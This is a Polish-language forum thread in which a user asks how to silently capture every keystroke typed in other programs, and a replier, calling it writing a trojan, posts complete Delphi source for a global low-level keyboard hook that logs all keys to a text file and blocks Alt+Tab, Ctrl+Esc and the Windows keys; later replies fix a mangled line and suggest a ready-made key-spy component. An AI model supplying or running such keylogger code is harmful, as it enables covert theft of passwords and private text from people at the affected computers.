wszystkie klawisze co klkne maja sie zapisywac do richedit

0

jak zrobi zeby wszystkie klawisze co klikne na kalwiat. zapisywały sie do rich edita
program jest zucony do tryala ??(no kolo zegara) a pisze np. w wordzie i chce zeby to co klikam na kalwiat. zapisywało sie do richeidta

z gory dzieki.

0

Trojanka się pisze:) - masz tu przykładowy kodzik - nie dopracowałem go jeszcze -bo zapisuje znaki w momencie naciśnięcia i puszczenia (więc zapisuje je wielokronie - ale zapisuje wszystko) - poradzisz sobie zeby zrobić go obok traya:)

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
     procedure LockSystem; //Blokujemy system
     procedure UnLockSystem; //I odblokowujemy
  end;

var
  Form1: TForm1;
  HookID: HHOOK; //ID naszego Hooka. Żeby można było z powrotem wyłączyć
  f:TextFile;

{ Typ TKbdDllHookStruct wykorzystywany przez Hook niskiego poziomu na klawiaturę. Delphi niestety nie zapewnia }
type
  PKbdDllHookStruct = ^TKbdDllHookStruct;
  TKbdDllHookStruct = record
    vkCode,
    ScanCode,
    Flags,
    Time,
    dwExtraInfo: integer;
  end;

const
  WH_KEYBOARD_LL = 13; //nr hooka niskiego poziomu. Delphi nie zapewnia tej stałej.


implementation

{$R *.dfm}

function LLKeyHookFunc(HookCode: Integer; KeyCode: wParam; KStrokeInfo: lParam): LResult; stdcall;
var
  Struct: PKbdDllHookStruct; //Wskaźnik do struktury, w której otrzymamy informacje o stanie klawiatury
begin
  Struct := Ptr(KStrokeInfo);
  Result := 0;
  if (HookCode >= 0) then
  begin
    { Blokujemy kombinację Ctrl+Esc }
    if (Struct.vkCode = VK_ESCAPE) and (GetAsyncKeyState(VK_CONTROL)<-32766) then
      Result := 1;
    { Blokujemy Alt+Tab }
    if (Struct.vkCode = VK_TAB) and (GetAsyncKeyState(VK_MENU)<-32766) then
      Result := 1;
    { Blokujemy prawy i lewy klawisz Windowsa }
    if (Struct.vkCode = VK_LWIN) or (Struct.vkCode = VK_RWIN) then
      Result := 1;
  end;
  //Jeżeli kombinacji nie chcemy blokować, to przekażmy informacje dla innych okien
  if (Result = 0) then
  begin
     if not FileExists('plik.txt') then
        rewrite(f)
     else
        append(f);
     if Struct.vkCode=13 then
        writeln(f)
     else
        write(f,chr(Struct.vkCode));
     closefile(f);
     Result := CallNextHookEx(HookID, HookCode, KeyCode, KStrokeInfo);
     Struct.vkCode:=0;
  end;
end;

{ Załóżmy Hook na system }
procedure TForm1.LockSystem;
begin
  HookID := SetWindowsHookEx(WH_KEYBOARD_LL, @LLKeyHookFunc, hInstance, 0);
end;

{ Na koniec trzeba oczywiście wyłączyć. Nie chcemy stale blokować sobie klawiatury }
procedure TForm1.UnLockSystem;
begin
  UnHookWindowsHookEx(HookID);
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
    LockSystem;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
    UnLockSystem
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
    assignfile(f,'plik.txt');
end;

end.
0

Ten kod nie dziala.

wywala co to
Struct := Ptr">Ptr(KStrokeInfo);

a jak sie to wylaczy // Struct := Ptr">Ptr(KStrokeInfo);
to nic sie nie dzieje.

Wie ktos jak to naprawic ?

0

zamaist tego>> Struct := Ptr">Ptr(KStrokeInfo);

wpisz to: >>> Struct := Ptr(KStrokeInfo);

i bedzie dzialac.

0

komponent KeySpy albo KeySpyXP
z tej strony.

i wszystko jasne :)

wystarczy spojrzeć na przykład

1 użytkowników online, w tym zalogowanych: 0, gości: 1